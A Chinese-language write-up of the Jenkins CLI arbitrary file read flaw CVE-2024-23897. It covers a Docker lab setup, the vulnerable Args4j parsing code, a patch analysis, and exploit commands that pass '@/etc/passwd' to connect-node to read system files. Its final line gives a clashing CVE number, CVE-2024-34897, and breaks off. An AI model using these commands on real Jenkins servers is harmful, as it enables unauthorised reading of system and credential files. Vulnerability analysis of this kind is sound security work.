Jenkins 是一款用 Java 编程语言编写的自包含开源持续集成/持续交付和部署 (CI/CD) 自动化软件 DevOps 工具。它用于实现称为流水线的 CI/CD 工作流。
Jenkins 有一个内置的命令行界面 (CLI),用于从脚本或 Shell 环境访问 Jenkins。Jenkins 在处理 CLI 命令时,使用 Args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一项功能,可将参数中 @ 字符后跟文件路径替换为文件内容(expandAtFiles)。此功能默认启用,Jenkins 2.441 及更早版本、LTS 2.426.2 及更早版本 并未禁用它。
这允许攻击者使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件。
环境搭建
root@kali:~$ docker pull jenkins/jenkins:2.440-jdk17
root@kali:~$ docker run -d -p 9091:8080 -p 50000:50000 --name murat2-jenkins jenkins/jenkins:2.440-jdk17
root@kali:~$ docker exec -t murat2-jenkins cat /var/jenkins_home/secrets/initialAdminPassword

漏洞代码
需要注意的是,此漏洞由 SonarSource 漏洞研究团队发现,本节内容摘自 SonarSource 的技术博客文章。
漏洞代码位于 Args4j 库中,
private String[] expandAtFiles(String args[]) throws CmdLineException {
List < String > result = new ArrayList < String > ();
for (String arg: args) {
if (arg.startsWith("@")) {
File file = new File(arg.substring(1));
if (!file.exists()) throw new CmdLineException(this, Messages.NO_SUCH_FILE, file.getPath());
try {
result.addAll(readAllLines(file));
} catch(IOException ex) {
throw new CmdLineException(this, "Failed to parse " + file, ex);
}
} else {
result.add(arg);
}
}
return result.toArray(new String[result.size()]);
}
CmdLineParser.java 类中的 expandAtFiles 方法基本上是将参数中 @ 字符后跟文件路径替换为文件内容:检查参数是否以 @ 字符开头,如果是,则读取 @ 后面路径中的文件,并为每一行扩展一个新的参数。这意味着如果攻击者可以控制一个参数,他们就可以从 Jenkins 实例上的任意文件将其扩展为任意数量的参数。
攻击者可以利用此方法的一种方式是找到一个接受任意数量参数并将这些参数显示给用户的命令。由于参数是从文件内容填充的,攻击者可以借此泄露文件内容。为此,hudson/cli 中的 connect-node 命令是一个很好的候选:它接收一个字符串列表作为参数,并尝试连接到每一个。如果失败,会生成一条包含失败连接节点名称的错误消息。
public class ConnectNodeCommand extends CLICommand {
@Argument(
metaVar = "NAME",
usage = "Agent name, or empty string for built-in node; comma-separated list is supported",
required = true,
multiValued = true
)
private List < String > nodes;
//...
@Override
protected int run() throws Exception {
//...
for (String node_s: hs) {
try {
Computer computer = Computer.resolveForCLI(node_s);
computer.cliConnect(force);
} catch(Exception e) {
//...
final String errorMsg = node_s + ": " + e.getMessage();
stderr.println(errorMsg);
//...
}
}
//...
}
}
此 connect-node 命令通常需要 CONNECT 权限,该权限在 cliConnect 函数中验证。但由于异常是在权限检查之前在 resolveForCLI 函数中抛出的,因此该命令实际上除了最初的只读验证之外不需要任何授权。
利用步骤
通常,Jenkins-cli 中的 @ 用于指定包含 bearer token 或 username:password 的文件。
使用 Jenkins-cli 的经过身份验证的命令将产生以下输出:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -http connect-node "@/etc/passwd"

使用 @ 字符功能在 -auth 开关中指定 credentials.txt 文件会产生以下结果:
root@kali:~$ java -jar jenkins-cli.jar -s http://127.0.0.1:9091 -auth @credentials.txt -http connect-node "@/etc/passwd"

补丁分析
Jenkins 安全团队通过引入禁用 expandAtFiles 功能的安全配置解决了 CVE-2024-23897。该补丁包括为 WebSocket 端点添加来源验证以修复 CVE-2024-23898,防止未经授权的访问。
相关提交: jenkinsci/jenkins@554f037

ALLOW_AT_SYNTAX:此变量是一个布尔值,指示是否允许 '@' 语法。它从系统属性中读取。ParserProperties:此类提供用于配置 CmdLineParser 的属性。withAtSyntax(ALLOW_AT_SYNTAX):它根据 ALLOW_AT_SYNTAX 的值设置 ParserProperties 中的 'allowAtSyntax' 属性。new CmdLineParser(this, properties):这会创建一个新的 CmdLineParser 实例,传入当前对象(this)和配置好的 ParserProperties。有关 CVE-2024-34897 漏洞及致谢的更多信息如下: